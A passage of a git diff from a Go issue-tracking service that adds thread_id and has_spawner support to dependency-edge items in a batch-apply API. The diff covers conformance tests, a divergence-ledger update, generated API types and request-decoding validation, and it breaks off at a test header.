add(types.WaitsForAllChildren, "thread-conv-1") + assertEdge("a re-add moving the thread alone", types.WaitsForAllChildren, "thread-conv-1") + + add(types.WaitsForAnyChildren, "thread-conv-2") + assertEdge("a re-add moving the gate and the thread", types.WaitsForAnyChildren, "thread-conv-2") + + add(types.WaitsForAnyChildren, "") + assertEdge("a re-add naming no thread", types.WaitsForAnyChildren, "thread-conv-2") +} + +// RunBatchApplyRefusesAThreadIDLongerThanItsColumn pins the bound on +// DepAddItem.ThreadID: one longer than the thread_id column holds is +// ErrValidation and writes no edge, on every leg alike. The http leg's decode +// refused it as a typed 400 while the local legs carried it to the write, where +// it failed as whatever storage error the column raised, mid-transaction — two +// error classes for one request. The shared plan bounds it now, before any +// database work. +// +// The positive half is the same edge with a thread exactly at the bound, which +// lands whole; without it, a role refusing every thread id satisfies the +// refusal. +func RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + source := fixture.IssuePrefix + "-longthread-source" + target := fixture.IssuePrefix + "-longthread-target" + batchApplySeedIssue(t, ctx, fixture, source, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, target, types.StatusOpen) + + request := func(thread string) publicops.ApplyBatchRequest { + return publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemDepAdd, DepAdd: &publicops.DepAddItem{ + Source: publicops.Ref{ID: source}, Target: publicops.Ref{ID: target}, + Type: publicops.DepBlocks, ThreadID: thread, + }}, + }, + } + } + tooLong := strings.Repeat("t", types.MaxFieldLen+1) + if _, err := fixture.BatchApplier.ApplyBatch(ctx, request(tooLong)); !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("a %d-character thread_id: error = %v, want ErrValidation", len(tooLong), err) + } + assertBatchApplyEdgeCount(t, ctx, fixture, source, target, 0) + + atBound := strings.Repeat("t", types.MaxFieldLen) + batchApplyMust(t, ctx, fixture, request(atBound)) + if got := batchApplyEdgeThreadID(t, ctx, fixture, source, target); got != atBound { + t.Errorf("a %d-character thread_id stored as %d characters, want it whole", len(atBound), len(got)) + } +} + // RunBatchApplySplicesAForwardMetadataRef pins the one exception to the // backward-only rule (CreateItem.MetadataRefs): "IT IS THE ONE PLACE A KEY MAY // REACH FORWARD … Every id is minted before any splice is applied, so the @@ -2241,6 +2394,20 @@ func batchApplyEdgeMetadata(t *testing.T, ctx context.Context, fixture BatchAppl return blob } +// batchApplyEdgeThreadID reads the stored thread_id column of one edge, which +// is where DepAddItem.ThreadID has to be visible — a plain column, independent +// of the type-specific Metadata blob batchApplyEdgeMetadata reads. +func batchApplyEdgeThreadID(t *testing.T, ctx context.Context, fixture BatchApplyFixture, source, target string) string { + t.Helper() + var value string + const query = "SELECT COALESCE(thread_id, '') FROM dependencies WHERE issue_id = ?" + + " AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?" + if err := fixture.QueryScalar(ctx, query, []any{source, target}, &value); err != nil { + t.Fatalf("reading edge thread_id for %s -> %s: %v", source, target, err) + } + return value +} + // batchApplyMetadataKey reads the WHOLE metadata blob off a row and reports one // key's raw bytes. The whole blob is read rather than a JSON path extract, // because that is what lets a case see an absent key and a null one as the diff --git a/backend/conformance/dependency_editor_contract.go b/backend/conformance/dependency_editor_contract.go index df2aacb75..e037e9dbe 100644 --- a/backend/conformance/dependency_editor_contract.go +++ b/backend/conformance/dependency_editor_contract.go @@ -531,6 +531,96 @@ func RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T, } } +// RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion is the +// thread_id twin of +// RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion. The row +// carries a thread as well as metadata, and the source issue's version snapshot +// carries each edge's thread_id, so a same-type re-add naming a thread the row +// does not carry is a real mutation on the same terms as a metadata change: +// the leaf updates the row in place, journals the replacement edge, and mints +// EXACTLY ONE version (#5898 leg 2). The re-add arm once compared metadata +// alone, which read that re-add as change-free and dropped the thread. +// +// The metadata is identical across every write, so the thread is the only +// thing that moves. A last re-add names no thread, and is the change-free +// no-op: an empty thread names none rather than asking for none, which is +// what keeps the callers that never carry a thread from erasing one. +// +// It drives the writes through fixture.AddDependency for the reason the +// metadata case gives: publicops.DependencyEdge carries no thread either. +func RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { + t.Helper() + if fixture.AddDependency == nil { + t.Skip("fixture has no AddDependency hook: a thread is not settable through publicops.DependencyEdge") + } + fixture.SetJournalEnabled(true) + t.Cleanup(func() { fixture.SetJournalEnabled(false) }) + fixture.SetVersionedHistoryEnabled(true) + t.Cleanup(func() { fixture.SetVersionedHistoryEnabled(false) }) + source := fixture.IssuePrefix + "-idemthread-source" + target := fixture.IssuePrefix + "-idemthread-target" + seedDependencyEditorIssue(t, ctx, fixture, source) + seedDependencyEditorIssue(t, ctx, fixture, target) + + const metadata = `{"note":"v1"}` + add := func(thread, refusal string) { + t.Helper() + dep := &types.Dependency{IssueID: source, DependsOnID: target, Type: types.DepBlocks, Metadata: metadata, ThreadID: thread} + if err := fixture.AddDependency(ctx, dep, "writer"); err != nil { + t.Fatalf("%s: %v", refusal, err) + } + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", source, target, string(types.DepBlocks), 1) + assertDependencyEditorEventCount(t, ctx, fixture, "events", source, types.EventDependencyAdded, 1) + } + storedThread := func() string { + t.Helper() + var thread string + if err := fixture.QueryScalar(ctx, + "SELECT COALESCE(thread_id, '') FROM dependencies WHERE issue_id = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?", + []any{source, target}, &thread); err != nil { + t.Fatalf("read stored thread_id for %s -> %s: %v", source, target, err) + } + return thread + } + journalCount := func() int { + t.Helper() + var count int + if err := fixture.QueryScalar(ctx, + "SELECT COUNT(*) FROM bd_events_journal WHERE issue_id = ? AND op = ?", + []any{source, string(storeops.EventDepAdd)}, &count); err != nil { + t.Fatalf("count bd_events_journal dep_add rows for %s: %v", source, err) + } + return count + } + + add("", "AddDependency first") + assertDependencyEditorJournalCountIsOne(t, ctx, fixture, source, string(storeops.EventDepAdd)) + + versionsBefore := countDependencyEditorIssueVersions(t, ctx, fixture, source) + add("thread-conv-1", "re-adding the same edge with a new thread refused") + if got := storedThread(); got != "thread-conv-1" { + t.Errorf("stored thread_id = %q, want %q: the re-add must persist the new thread, not keep the old", got, "thread-conv-1") + } + if got := journalCount(); got != 2 { + t.Errorf("bd_events_journal dep_add rows for %s = %d, want 2: the thread-changed re-add must journal its own replacement-edge entry", source, got) + } + if delta := countDependencyEditorIssueVersions(t, ctx, fixture, source) - versionsBefore; delta != 1 { + t.Errorf("issue_versions rows for %s went %d -> %d (delta %d), want a delta of 1: the thread genuinely changed, so the re-add is a real mutation of the source issue and must mint exactly one version (#5898 leg 2)", source, versionsBefore, versionsBefore+delta, delta) + } + + versionsBefore = countDependencyEditorIssueVersions(t, ctx, fixture, source) + add("", "re-adding the same edge naming no thread refused") + if got := storedThread(); got != "thread-conv-1" { + t.Errorf("stored thread_id after a re-add naming no thread = %q, want %q kept", got, "thread-conv-1") + } + if got := journalCount(); got != 2 { + t.Errorf("bd_events_journal dep_add rows for %s = %d after a change-free re-add, want 2 still", source, got) + } + if delta := countDependencyEditorIssueVersions(t, ctx, fixture, source) - versionsBefore; delta != 0 { + t.Errorf("issue_versions rows for %s went %d -> %d (delta %d) on a re-add naming no thread, want a delta of 0: it keeps the stored thread, so nothing changed (#5898 R3)", source, versionsBefore, versionsBefore+delta, delta) + } +} + // RunDependencyEditorRepeatsWithinOneRequestCollapse pins the clause that // answers a request naming ONE PAIR TWICE. The same-type re-add rule is stated // for the pair rather than for the call, so the second occurrence inside a diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 55385d9b7..b74a615a8 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -45,6 +45,9 @@ var roleContractCases = []roleContract{ RunBatchApplyAcceptsAnExternalEdgeTarget, RunBatchApplyNormalizesTheWaitsForGate, RunBatchApplyStampsSpawnerIDOnlyWhenNamed, + RunBatchApplyCarriesThreadIDOntoTheStoredEdge, + RunBatchApplyCarriesThreadIDOntoAnExistingEdge, + RunBatchApplyRefusesAThreadIDLongerThanItsColumn, RunBatchApplySplicesAForwardMetadataRef, RunBatchApplySplicesASelfMetadataRef, RunBatchApplyRefusesAMetadataRefNoItemDeclares, @@ -260,6 +263,7 @@ var roleContractCases = []roleContract{ RunDependencyEditorSameTypeReAddIsIdempotent, RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion, RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp, + RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion, RunDependencyEditorRepeatsWithinOneRequestCollapse, RunDependencyEditorAttributesItsEventsToTheActor, RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge, diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index 78bbb101b..9815c30b1 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -47,7 +47,7 @@ the behavior. ## Summary -264 rows: 207 refuse, 33 degrade, 24 retired. +264 rows: 205 refuse, 33 degrade, 26 retired. ## Whole-behavior divergences (D9 ledger) @@ -134,8 +134,8 @@ Role-request fields on the served writes that the v0 wire publishes no member fo | W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation time (created_at), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence. created_by is published on no create shape either, but every one of them STAMPS it from the request's actor (internal/httpapi's create.go, batch_create.go and batch_apply.go) — the local front doors' own rule, since the role copies the member rather than stamping it. So a CreatedBy that names the actor, which is what every CLI create sends, arrives as written, and only one naming someone else refuses: the stamp would silently replace it. A server that predates the stamp stores an empty created_by for that one member | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all. Nor is a CreatedBy that names the request's actor: the server stamps every create item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-DepAddItem.HasSpawner | refuse | `DepAddItem.HasSpawner` | a waits-for edge ITEM that names its spawner refuses | ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-DepAddItem.ThreadID | refuse | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread refuses | ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.HasSpawner | retired | `DepAddItem.HasSpawner` | a waits-for edge ITEM that names its spawner used to refuse | RETIRED by issues.batchApply.depAddLineage (S5). ApplyDepAddItem now publishes `has_spawner` — the write this row said only the role could make, metadata's spawner_id stamped from the resolved target — gated on the capability rather than dropped: a caller on a server that has not advertised the token refuses locally before the dial (BatchApplier.refuseUnservedDepAddLineage), and a caller on a server that has sends the member exactly as given. The flag is sent, and gated, on a waits-for edge only, the one type the role reads it on. Off a waits-for edge it is the role's no-op, so the client drops it there without loss — the stored row is the same either way — rather than refusing a request the flag cannot change, or sending an older server a member it answers with a 400 | D8 refuse-not-drop (RETIRED) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.ThreadID | retired | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread used to refuse | RETIRED with W-DepAddItem.HasSpawner (S5, issues.batchApply.depAddLineage). ApplyDepAddItem now publishes `thread_id` as a plain column on the stored edge, gated by the same capability and the same pre-dial refusal rather than dropped — a caller naming a thread on an unadvertising server is refused before the dial, never silently stored with no thread | D8 refuse-not-drop (RETIRED) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-CloseBatchRequest.ClaimNext | refuse | `CloseBatchRequest.ClaimNext` | folding an atomic claim-after-close onto a batch close refuses | batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-SweepRequest.ProtectLiveDependents | retired | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep used to refuse | RETIRED by the S4 wire extension that sends it. The gap was always the DOCUMENT's rather than a decision: the local Sweeper role carries a structural-dependent protection alongside the referenced-citation one, and apigen.SweepRequest had no protect_live_dependents member for this client to narrow onto, so sending `true` and silently dropping it would have run an UNPROTECTED sweep while the caller believed the structural guard was active. The spec now publishes `protect_live_dependents` (and SweepSkips.live_dependent on the response) behind its own behavior-capability token, issues.sweep.liveDependents, because it is a parameter added to an operation that already shipped. The client sends it only once the handshake advertises the token and refuses locally, before the dial, when it does not — see refuseUnservedSweep (sweeper.go) and W-SweepRequest.Limit for the sibling member closed the same way | D8 refuse-not-drop | TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem | diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index f5cecef32..37e13b5f9 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -495,7 +495,12 @@ type ApplyCreateItem struct { // A WAITS-FOR EDGE IS NORMALIZED RATHER THAN STORED AS ASKED. An absent, empty or `{}` `metadata` on a `waits-for` edge is STORED as `{"gate":"all-children"}`, because a stored waits-for row must be self-describing: readers predating the gate's introduction do not default a missing one, so an empty gate is a row those readers get wrong. A metadata that names a gate keeps it, along with the spawner and also-blocks members a caller may carry, and a gate that is neither `all-children` nor `any-children` is a `400`. Nothing else about that member is interpreted. // // THERE IS NO TYPED `waits_for` MEMBER, and that is the shape rather than an omission: every measured caller already carries the gate as metadata, a typed spelling lowers to these same bytes, and the blob carries members a two-field typed member could not express. One spelling, and it is this one. +// +// `has_spawner` and `thread_id` require `issues.batchApply.depAddLineage`: a client naming either on a server that has not advertised the token refuses locally before the dial rather than sending bytes an older server would answer with its own `400` for an unknown member. type ApplyDepAddItem struct { + // HasSpawner Gated by `issues.batchApply.depAddLineage`. Ignored for every `type` but `waits-for`: on a `waits-for` edge, `true` stamps `metadata.spawner_id` with this item's `target` (the id `bd create --graph`'s spawner_key/spawner_id resolved to), so a reader learns which spawned row to watch without re-deriving it from the graph plan. Absent or `false` leaves `metadata` exactly as given. + HasSpawner *bool `json:"has_spawner,omitempty"` + // Metadata One metadata value: ANY JSON value — string, number, boolean, null, array or object — because typed values enter through the explicit JSON metadata path and persist in older rows. It is not a string, and a client must not decode it as one. // // Where a member of this type is OMITTED, the key is absent; where it is present holding `null`, the key exists and holds null. Those are different states and this surface reports both. @@ -515,6 +520,9 @@ type ApplyDepAddItem struct { // A KEY REACHES BACKWARD ONLY where the ref ADDRESSES a row — an `update.target`, a `close.target`, either endpoint of a `dep_add`. The one exception is `create.metadata_refs`, whose values may reach forward or name their own item's key; the operation's description says why. Target Ref `json:"target"` + // ThreadId Gated by `issues.batchApply.depAddLineage`. A plain column on the stored edge, separate from `metadata`'s blob — the graph-plan thread this edge belongs to, for a reader that groups edges by thread without parsing every edge's metadata. + ThreadId *string `json:"thread_id,omitempty"` + // Type The edge type, from the same OPEN vocabulary `Dependency.type` carries: checked for BEING a storable value, never for membership of a known-types list, so a workspace's own type passes. Type string `json:"type"` } @@ -548,6 +556,8 @@ type ApplyItem struct { // A WAITS-FOR EDGE IS NORMALIZED RATHER THAN STORED AS ASKED. An absent, empty or `{}` `metadata` on a `waits-for` edge is STORED as `{"gate":"all-children"}`, because a stored waits-for row must be self-describing: readers predating the gate's introduction do not default a missing one, so an empty gate is a row those readers get wrong. A metadata that names a gate keeps it, along with the spawner and also-blocks members a caller may carry, and a gate that is neither `all-children` nor `any-children` is a `400`. Nothing else about that member is interpreted. // // THERE IS NO TYPED `waits_for` MEMBER, and that is the shape rather than an omission: every measured caller already carries the gate as metadata, a typed spelling lowers to these same bytes, and the blob carries members a two-field typed member could not express. One spelling, and it is this one. + // + // `has_spawner` and `thread_id` require `issues.batchApply.depAddLineage`: a client naming either on a server that has not advertised the token refuses locally before the dial rather than sending bytes an older server would answer with its own `400` for an unknown member. DepAdd *ApplyDepAddItem `json:"dep_add,omitempty"` // Kind Which member below is read. A CLOSED set, unlike a dependency `type`: every value here is a verb this operation implements, and an unknown one is a request the server cannot execute rather than a workspace's own vocabulary. @@ -1037,7 +1047,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, and `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 16b9d4a63..723ce8615 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -102,7 +102,7 @@ var ( applyLabelPatchMembers = []string{"add", "remove", "replace"} applyMetadataPatchMembers = []string{"merge", "replace", "set", "unset"} applyCloseItemMembers = []string{"expected_version", "force", "reason", "session", "target"} - applyDepAddItemMembers = []string{"metadata", "source", "target", "type"} + applyDepAddItemMembers = []string{"has_spawner", "metadata", "source", "target", "thread_id", "type"} // applyItemKinds is the tag vocabulary, paired with the payload member each // value names. It is one map rather than a switch so the enum, the member @@ -831,6 +831,28 @@ func applyDepAddItem(prefix string, raw map[string]json.RawMessage) (*issueops.D if metadata, present := raw["metadata"]; present { item.Metadata = string(metadata) } + // has_spawner and thread_id are additive members gated client-side by + // issues.batchApply.depAddLineage (routes.go CapBatchApplyDepAddLineage): + // the server always understands them once wired, so there is no + // capability check here — the gate lives entirely in the client that + // decides whether to SEND them against an older server. + hasSpawner, res := applyBoolMember(raw, prefix, "has_spawner") + if res != nil { + return nil, res + } + item.HasSpawner = hasSpawner + threadID, res := applyTextMember(raw, prefix, "thread_id") + if res != nil { + return nil, res + } + // The document's minLength: 1. An ABSENT thread_id already names no thread + // (and a re-add keeps the stored one), so an empty one would only be a + // second spelling of it — refused, as an empty `type` is, rather than read. + if _, present := raw["thread_id"]; present && threadID == "" { + res := InvalidArgument(prefix+"thread_id", ReasonInvalidValue, "`thread_id` must not be empty; omit it to name no thread") + return nil, &res + } + item.ThreadID = threadID return item, nil } diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index a60c8ea54..824775f21 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -84,7 +84,7 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { "expected_version":"42"}}, {"kind":"dep_add","dep_add":{ "source":{"key":"root"},"target":{"id":"bd-7"},"type":"waits-for", - "metadata":{"gate":"any-children"}}} + "metadata":{"gate":"any-children"},"has_spawner":true,"thread_id":"th-plan"}} ] }`) if resp.StatusCode != http.StatusOK { @@ -240,6 +240,11 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { if depAdd.Metadata != `{"gate":"any-children"}` { t.Errorf("dep_add.metadata = %q, want the caller's bytes unaltered", depAdd.Metadata) } + // The lineage members reach the role as sent: issues.batchApply.depAddLineage + // gates whether a CLIENT sends them, and this server always reads them. + if !depAdd.HasSpawner || depAdd.ThreadID != "th-plan" { + t.Errorf("dep_add.has_spawner/thread_id = %v/%q, want true/%q", depAdd.HasSpawner, depAdd.ThreadID, "th-plan") + } } // TestApplyBatchAnswersWithTheLeanResult pins the response side: ids, a @@ -520,6 +525,29 @@ func TestApplyBatchRejectsTheShapesTheDocumentRefuses(t *testing.T) { } } +// TestApplyBatchRefusesAnEmptyThreadID 